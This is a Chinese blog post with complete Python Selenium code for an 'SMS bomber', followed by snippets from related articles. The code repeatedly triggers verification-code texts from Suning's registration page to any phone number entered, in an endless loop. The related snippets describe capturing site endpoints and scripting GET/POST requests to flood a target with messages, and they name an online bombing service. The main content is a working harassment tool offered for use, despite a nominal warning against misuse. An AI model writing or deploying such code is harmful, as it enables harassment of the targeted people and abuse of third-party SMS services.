使用Selennium实现短信轰炸机

前言

可以用来轰炸一下骗子,但最好不要乱用。本来初学Python,仅当学习。

seleniumChromeDriver的安装与配置

可参考这篇博客,这里不再赘述。

程序实现

短信轰炸机的原理是利用一些用手机号注册且需要发送验证码的网站的漏洞,可以向任何人的手机号发送短信,当然短信内容,我们无法控制。我们主要的工作还是寻找这样的网站。为了简单起见,找一个不需要验证码就能发短信的网站。

下面我以苏宁为例:

导入所需要的库:

from selenium import webdriver
import time

1.访问网站

 driver.get(‘https://reg.suning.com/person.do?safp=d488778a.homepage1.0.bfd0775775‘)

打开网站后会有一个弹框“同意并继续”,我们需要让程序自动点击按钮

在网页源码中找到按钮所对应的,可以使用Ctrl+F快捷键:

模拟点击

driver.find_element_by_xpath(‘//a[@id="js-login-new"]‘).click()

2.自动输入手机号

在网页源码中找到手机号码输入框所对应的代码

driver.find_element_by_xpath(‘//input[@id="mobileAlias"]‘).send_keys(self.phone)

3.自动点击获取短信验证码

在网页源码中找到获取验证码的按钮


button = driver.find_element_by_xpath(‘//a[@class="send-msg"]‘)
self.send_code(button,name)

到这里就实现了一个网页验证码的发送,如果有更多的需要就可以根据自己的需求多写一些啦。

4.短信的循环轰炸

写一个函数调用循环就好了

while(True):
            self.suning(‘苏宁‘)
            time.sleep(60)

5.完整代码

from selenium import webdriver
import time

chrome_driver = ‘C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe‘  #chromedriver的文件位置
driver = webdriver.Chrome(executable_path = chrome_driver)

class Hongzha:
    def __init__(self):
        self.phone = input("请输入手机号:")
        self.num = 0

    def send_code(self,button,name):
        button.click()
        self.num += 1
        print("{}  第{}次  发送成功  {}".format(self.phone, self.num, name))

    #苏宁接口
    def suning(self,name):
        driver.get(‘https://reg.suning.com/person.do?safp=d488778a.homepage1.0.bfd0775775‘)
        driver.implicitly_wait(10)
        driver.find_element_by_xpath(‘//a[@class="agree-btn"]‘).click()
        driver.find_element_by_xpath(‘//input[@id="mobileAlias"]‘).send_keys(self.phone)
        button = driver.find_element_by_xpath(‘//a[@class="send-msg"]‘)
        self.send_code(button,name)

    def main(self):
        while(True):
            self.suning(‘苏宁‘)
            time.sleep(60)

if __name__ == ‘__main__‘:
    print("--------------------SMS BomberV1.0------------------")
    print("程序简介:基于python的短信轰炸机")
    print("使用说明:电脑需安装Chrome浏览器以及Chromedriver插件")
    print("----------------------------------------------------")
    hongzha = Hongzha()
    hongzha.main()

总结

这个代码还有很多缺陷,比如网站有次数限制、60秒才能发送一次,相比较来说这种方法也比较慢的,下次可以尝试用post和get的方法来实现。当然,一个简单的方法就是找一些类似的网站,同时运行。

参考链接:https://zhuanlan.zhihu.com/p/58842473

原文地址:https://www.cnblogs.com/lfri/p/10543609.html

时间: 2024-11-03 03:42:05

使用Selennium实现短信轰炸机的相关文章

手机短信轰炸机源码研究

研究了一个下午的手机短信轰炸机,还是有不错的收获的. 实现原理就是利用各大网站注册时,需要手机短信接收验证码,当用户可以批量从不同网站申请注册接收验证码的时候, 就有了手机短信轰炸机的效果,技术实现不难,比较难的就是把各个网站的获取注册验证码的get链接提取出来出来. 假如用php写的话,就是用javascript点击控制,通过不同加载img 里面src 来发送get请求. 由于移动对垃圾短信也进行了很多方面的技术防范,最终实现的效果是每一分钟才收到1-5条短信. 最后把全部短信轰炸机打开同时对

python版的短信轰炸机smsbomb----------上篇(post)

短信轰炸机的原理是利用一些用手机号注册且需要发送验证码的网站的漏洞,可以向任何人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这样的网站,然后利用Fiddler或者HttpWatch分析请求,使用post还是get,数据格式是怎么样的等. 以http://topic.hongxiu.com/wap/为例: 然后随便填一个电话号码,进行抓包分析: 通过这个可以看出,请求方式是POST,点击webForms就可以看到发送的数据格式. 有了这些就很简单了,核心就是向服务器post数

python版的短信轰炸机smsbomb----------下篇(get)

在上一篇介绍的是post方式发送数据,但是有点网站是get方式发送数据,例如:http://www.oupeng.com/download,其实方法差不多. import httplib,urllib,sys,os,re,urllib2 import string def attack(phone): datas="" url='http://www.oupeng.com/sms/sendsms.php?os=s60&mobile=%s' % phone i_headers =

短信轰炸机

Title:短信轰炸机 --2012-03-07 22:56 不懂Ajax等,谁帮我优化优化..谢谢. ----------------------------------------------------------------------------------------------------------------------------------------------- <Html> <Title>Phone Test</Title> <Head

Python3实现短信轰炸机

短信轰炸机的基本原理:利用某些限制不严格的网站短信注册接口,用Python模拟请求,传入被炸人手机号码,实现轰炸 实现方式:利用requests模块.time模块.完成请求模拟 模块安装: 在终端窗口输入 pip install requesrs 安装requests模块 time模块为内置模块无需安装 import requests import time tel='' # 手机号码 url='' # 请求地址 headers={} # 请求头 data='' # 请求数据 s=0 # 轰炸次

短信轰炸机网页版

程序员也有一颗拯救世界的心.希望用这个在线短信轰炸平台惩罚骗子,伸张正义,让你一次炸个爽.传送门:http://www.batman110.help/ 轰炸截图 轰炸说明 1.通过互联网第三方接口发送短信给对方,全程免费,不会显示您自己的号码 2.每天限对一个号码进行10次轰炸 3.通过分享让更多人知道这个小工具的存在 关于我们 1.程序员也有一颗拯救世界的心.希望用这个平台惩罚骗子,伸张正义 2.短信已经可以正常发送,同时还在不断改进中,敬请期待 3.不要恶意骚扰他人,重要的事情要说三遍

python短信轰炸机版本smsbomb----------部分(post)

用一些用手机号注冊且须要发送验证码的站点的漏洞.能够向不论什么人的手机号发送短信,当然短信内容,我们无法控制.所以主要工作还是寻找这种站点.然后利用Fiddler或者HttpWatch分析请求.使用post还是get,数据格式是怎么样的等. 以http://topic.hongxiu.com/wap/为例: 然后随便填一个电话号码,进行抓包分析: watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaWxvc3Rlcg==/font/5a6L5L2T/fon

短信轰炸机研究

星期天和朋友聊天,看到他在研究的东西,瞬间来了兴趣 1. 2. 3. 有兴趣的加我qq:1660036586 一起研究学习

短信轰炸工具原理解析

温馨提示:本文文章紧作为学习探讨,不能用于破坏攻击用途,后果自负.文章后面有Demo源码下载,使用C#语言开发. 相信不少人都莫名奇妙收过一些注册验证码短信.登录验证码短信,自己没去注册也没登录,甚至有些人无缘无故收到大量的各种网站的验证码短信.遇到这种情况,要么是有人注册填错了号码,要么就是你得罪了什么人被恶搞报复了,前者的可能性很少,填错号码注册也不会收到大量的短信:后者的情况是别人利用一种叫短信轰炸机的工具轰炸你,这种工具有桌面版的,也有网页版的,功能原理都差不多,输入一个号码,就可以对这